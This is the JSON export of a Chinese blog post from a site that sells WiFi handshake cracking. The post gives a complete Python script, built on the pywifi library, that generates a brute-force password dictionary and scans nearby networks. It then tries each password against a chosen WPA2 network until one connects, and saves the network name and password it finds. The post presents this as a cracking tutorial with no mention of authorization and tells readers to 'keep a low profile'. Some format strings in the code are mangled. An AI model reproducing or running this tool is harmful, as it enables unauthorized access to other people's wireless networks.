{"id":4150,"date":"2024-03-31T00:25:18","date_gmt":"2024-03-30T16:25:18","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=4150"},"modified":"2024-03-31T00:25:18","modified_gmt":"2024-03-30T16:25:18","slug":"%e7%94%a8python%e5%ae%9e%e7%8e%b0%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%812251","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/31\/%e7%94%a8python%e5%ae%9e%e7%8e%b0%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%812251\/","title":{"rendered":"\u7528python\u5b9e\u73b0\u7834\u89e3WIFI\u5bc6\u7801"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<pre><code>def product_passwd(length):\n    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n    r = its.product(words,repeat=length)\n    dic = open('paswwer.txt','a')\n    \n    for i in r:\n        dic.write(''.join(i))\n        dic.write(''.join('n'))\n        print(i)\n    \n    dic.close()\n    print('\u5bc6\u7801\u672c\u751f\u6210\u5b8c\u6bd5\uff01')\n123456789101112<\/code><\/pre>\n<pre><code>def getwifi():\n    wifi=pywifi.PyWiFi() \n    ifaces=wifi.interfaces()[0]\n    ifaces.scan()  \n    time.sleep(3)   \n    result = ifaces.scan_results()\n    n=0\n    print(\"s%20s%20s\"%(\"\u3010\u65e0\u7ebf\u540d\u79f0\u3011\",\"\u3010mac\u5730\u5740\u3011\",\"\u3010\u4fe1\u53f7\u5f3a\u5ea6\u3011\"))\n    print(\"=\"*60)\n    for data in result:\n        if(data.bssid not in maclist): \n            maclist.append(data.bssid)\n            if n&lt;=wificount:\n                print(\"s%30ss\"%(data.ssid,data.bssid,data.signal))\n                n=n+1\n                time.sleep(2)\n    print(\"=\"*60)\n123456789101112131415161718<\/code><\/pre>\n<pre><code>def readPassWord(self):\n        print(\"\u5f00\u59cb\u7834\u89e3\uff1a\")\n        while True:   \n            try:\n                passStr = str(self.file.readline())\n                print(\" \u6b63\u5728\u5c1d\u8bd5\uff1a\" + passStr)\n                if not passStr:\n                    break\n                bool1 = self.test_connect(passStr)\n                if bool1:\n                    print(\"\u606d\u559c\u4f60\uff0c\u627e\u5230\u5bc6\u7801! \u6b63\u786e\u5bc6\u7801\u4e3a\uff1a\" + passStr)\n                    break\n                else:\n                    print(\" \u5bc6\u7801\u9519\u8bef!n\",\"=\"*35)\n                    time.sleep(3)\n            except: \n                continue\n        with open('result.txt','a+') as fw: \n            fw.write('WiFi\u540d\u79f0\uff1a%s  \u5bc6\u7801\uff1a%s'%(wifiname,passStr))\n            \n1234567891011121314151617181920<\/code><\/pre>\n<pre><code>def test_connect(self, findStr):  \n        profile = pywifi.Profile()  \n        profile.ssid = wifiname \n        profile.auth = const.AUTH_ALG_OPEN  \n        profile.akm.append(const.AKM_TYPE_WPA2PSK)  \n        profile.cipher = const.CIPHER_TYPE_CCMP  \n        profile.key = findStr  \n        self.iface.remove_all_network_profiles()  \n        tmp_profile = self.iface.add_network_profile(profile)  \n        self.iface.connect(tmp_profile) \n        time.sleep(3)\n        if self.iface.status() == const.IFACE_CONNECTED: \n            isOK = True\n        else:\n            isOK = False\n        self.iface.disconnect()  \n        time.sleep(1)\n        return isOK\n123456789101112131415161718<\/code><\/pre>\n<pre><code># -*- coding: utf-8 -*-\nimport time\nimport pywifi \nfrom pywifi import const\nimport itertools as its\nmaclist = []\nwificount=15\ndef product_passwd(length):\n    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n    r = its.product(words,repeat=length)\n    dic = open('paswwer.txt','a')\n    \n    for i in r:\n        dic.write(''.join(i))\n        dic.write(''.join('n'))\n        print(i)\n    \n    dic.close()\n    print('\u5bc6\u7801\u672c\u751f\u6210\u5b8c\u6bd5\uff01')\nproduct_passwd(input(\"\u8bf7\u8f93\u5165\u8981\u751f\u6210\u7684\u5bc6\u7801\u672c\u5bc6\u7801\u957f\u5ea6:\"))    \ndef getwifi():\n    wifi=pywifi.PyWiFi() \n    ifaces=wifi.interfaces()[0]\n    ifaces.scan()  \n    time.sleep(3)   \n    result = ifaces.scan_results()\n    n=0\n    print(\"s%20s%20s\"%(\"\u3010\u65e0\u7ebf\u540d\u79f0\u3011\",\"\u3010mac\u5730\u5740\u3011\",\"\u3010\u4fe1\u53f7\u5f3a\u5ea6\u3011\"))\n    print(\"=\"*60)\n    for data in result:\n        if(data.bssid not in maclist): \n            maclist.append(data.bssid)\n            if n&lt;=wificount:\n                print(\"s%30ss\"%(data.ssid,data.bssid,data.signal))\n                n=n+1\n                time.sleep(2)\n    print(\"=\"*60)\nclass PoJie():\n    def __init__(self, path):\n        self.file = open(path, \"r\", errors=\"ignore\")\n        wifi = pywifi.PyWiFi()  \n        self.iface = wifi.interfaces()[0] \n        print(\"\u83b7\u53d6\u5230\u7684\u65e0\u7ebf\u7f51\u5361\uff1a\")\n        print(self.iface.name())  \n        self.iface.disconnect()  \n        time.sleep(1)\n        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  \n    def readPassWord(self):\n        print(\"\u5f00\u59cb\u7834\u89e3\uff1a\")\n        while True:   \n            try:\n                passStr = str(self.file.readline())\n                print(\" \u6b63\u5728\u5c1d\u8bd5\uff1a\" + passStr)\n                if not passStr:\n                    break\n                bool1 = self.test_connect(passStr)\n                if bool1:\n                    print(\"\u606d\u559c\u4f60\uff0c\u627e\u5230\u5bc6\u7801! \u6b63\u786e\u5bc6\u7801\u4e3a\uff1a\" + passStr)\n                    break\n                else:\n                    print(\" \u5bc6\u7801\u9519\u8bef!n\",\"=\"*35)\n                    time.sleep(3)\n            except: \n                continue\n        with open('result.txt','a+') as fw: \n            fw.write('WiFi\u540d\u79f0\uff1a%s  \u5bc6\u7801\uff1a%s'%(wifiname,passStr))\n            \n    def test_connect(self, findStr):  \n        profile = pywifi.Profile()  \n        profile.ssid = wifiname \n        profile.auth = const.AUTH_ALG_OPEN  \n        profile.akm.append(const.AKM_TYPE_WPA2PSK)  \n        profile.cipher = const.CIPHER_TYPE_CCMP  \n        profile.key = findStr  \n        self.iface.remove_all_network_profiles()  \n        tmp_profile = self.iface.add_network_profile(profile)  \n        self.iface.connect(tmp_profile) \n        time.sleep(3)\n        if self.iface.status() == const.IFACE_CONNECTED: \n            isOK = True\n        else:\n            isOK = False\n        self.iface.disconnect()  \n        time.sleep(1)\n        return isOK\n \n    \n    def __del__(self): \n        self.file.close()\ngetwifi()\nwifiname = input(\"\u8bf7\u8f93\u5165\u8981\u7834\u89e3\u7684WiFi\u540d\u79f0:\")  # wifi\u540d\u79f0)\npath = input('\u8bf7\u8f93\u5165\u5b57\u5178\u6587\u4ef6\u8def\u5f84\uff1a')\n#r\"D:\/\/Data\/Python\/wifi\/dictionary.txt\"\nstart = PoJie(path)\nstart.readPassWord()\n123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711815917977_0.png\" alt=\"WiFi\u5b57\u5178\u7834\u89e3\"><!-- \u6587\u7ae0\u6765\u6e90:https:\/\/www.toutiao.com\/article\/6904926511464219143\/? --><\/p>\n<ol>\n<li>\u521b\u5efa\u4e00\u4e2a\u5b57\u5178\u6587\u4ef6\uff08\u5bc6\u7801\u672c\uff09<\/li>\n<li>\u641c\u7d22\u9644\u8fd1\u7684Wi-Fi\u540d\u79f0\uff08\u751f\u6210Wi-Fi SSID\u5217\u8868\uff09<\/li>\n<li>\u4f7f\u7528\u5bc6\u7801\u672c\u4e2d\u7684\u7ec4\u5408\u8fdb\u884c\u7a77\u4e3e<\/li>\n<li>\u9a8c\u8bc1Wi-Fi\u8fde\u63a5\u662f\u5426\u6210\u529f<\/li>\n<\/ol>\n<p>\u3010\u5b8c\u6574\u4ee3\u7801\u3011<br \/>\n\u3010\u601d\u8def\u6846\u67b6\u3011<\/p>\n<p>\u611f\u8c22\u60a8\u7684\u9605\u8bfb\uff01\uff01\uff01\u6211\u60f3\u591a\u8bf4\u4e00\u53e5\uff0c\u5f88\u591a\u4eba\u5728\u5b66\u4e60Python\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u9047\u5230\u5404\u79cd\u70e6\u607c\u548c\u95ee\u9898\uff0c\u6ca1\u6709\u4eba\u89e3\u7b54\u7684\u8bdd\u5f88\u5bb9\u6613\u653e\u5f03\u3002\u4f5c\u4e3a\u4e00\u540dPython\u5f00\u53d1\u5de5\u7a0b\u5e08\uff0c\u6211\u6574\u7406\u4e86\u4e00\u5957\u6700\u65b0\u7684Python\u7cfb\u7edf\u5b66\u4e60\u6559\u7a0b\uff0c\u5305\u62ec\u4ece\u57fa\u7840\u7684Python\u811a\u672c\u5230Web\u5f00\u53d1\u3001\u722c\u866b\u3001\u6570\u636e\u5206\u6790\u3001\u6570\u636e\u53ef\u89c6\u5316\u3001\u673a\u5668\u5b66\u4e60\u7b49\u5185\u5bb9\u3002\u5982\u679c\u60a8\u60f3\u83b7\u53d6\u8fd9\u4e9b\u8d44\u6599\uff0c\u8bf7\u5173\u6ce8\u6211\uff0c\u5e76\u5728\u540e\u53f0\u79c1\u4fe1\u6211\uff1a\u201c01\u201d\uff0c\u6211\u4f1a\u5c06\u8d44\u6599\u53d1\u9001\u7ed9\u60a8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7528python\u5b9e\u73b0\u7834\u89e3WIFI\u5bc6\u78011 \u751f\u6210\u5b57\u5178\u6587\u4ef6\uff08\u5bc6\u7801\u672c\uff092 \u641c\u7d22\u9644\u8fd1\u7684wifi\u540d\u79f0\uff08\u751f\u6210wifi_ssid\u5217\u8868\uff093 \u7a77\u4e3e\u5b57\u5178\u4e2d\u7684\u7ec4\u54084 \u9a8c\u8bc1WiFi\u662f\u5426\u8fde\u63a5\u6210\u529f\u3010\u5b8c\u6574\u4ee3\u7801\u3011\u3010\u601d\u8def\u6846\u67b6\u3011\u611f\u8c22\u9605\u8bfb\uff01\uff01\uff01<\/p>\n","protected":false},"author":1,"featured_media":4151,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-4150","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/4150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=4150"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/4150\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/4151"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=4150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=4150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=4150"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=4150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}